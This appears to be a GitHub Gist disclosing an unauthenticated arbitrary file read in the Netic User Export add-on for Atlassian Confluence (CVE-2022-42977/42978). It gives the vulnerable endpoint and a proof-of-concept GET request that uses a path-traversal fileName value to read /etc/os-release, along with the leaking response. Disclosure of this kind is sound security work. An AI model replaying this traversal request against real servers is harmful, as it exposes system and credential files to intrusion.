

Instantly share code, notes, and snippets.

## CveCt0r / Unauthenticated Arbitrary File Read Secret

Last active 8 days ago

☆ Star

<> Code  Revisions 2

### Unauthenticated Arbitrary File Read

```
1  Vulnerability Type: Unauthenticated      Arbitrary File Read
2  Vendor of Product: Atlassian Confluence
3  Affected Product Code Base:  User Export for Confluence
4  Product Version: < 1.3.5
5  Description: The Netic User Export add-on before 1.3.5 for Atlassian Confluence has the functional
6  Attack Vectors: Attacker could make an HTTP request to the affected endpoint and download any file
7  Attack Type: Remote
8  Endpoint: /plugins/servlet/confluenceuserexport/admin/download
9  Assigned CVE-ID: CVE-2022-42977, CVE-2022-42978
10
11  Steps To Reproduce
12  1. Issue a HTTP POST/GET request to the following endpoint: https://<confluence.example.com>/plugi
13
14
15  #PoC
16  [REQUEST]
17  GET /plugins/servlet/confluenceuserexport/admin/download?fileName=../../../../../../../../etc/os-release
18  Host: confluence.example.local
19  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
20  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*
21
22
23  [RESPONSE]
24  HTTP/1.1 401
25  Set-Cookie: JSESSIONID=ABCDEFGHIIJKLMNOPQRSTUVWXYZ; Path=/; HttpOnly
26  WWW-Authenticate: OAuth realm="confluence.example.local"
27  Content-Disposition: attachment; filename=../../../../../../../../etc/os-release
28  Content-Type: text/html; charset=UTF-8
29  Content-Length: 407
30
31  Not AuthorizedNAME="CentOS Linux"
32  VERSION="7 (Core)"
33  ID="centos"
```

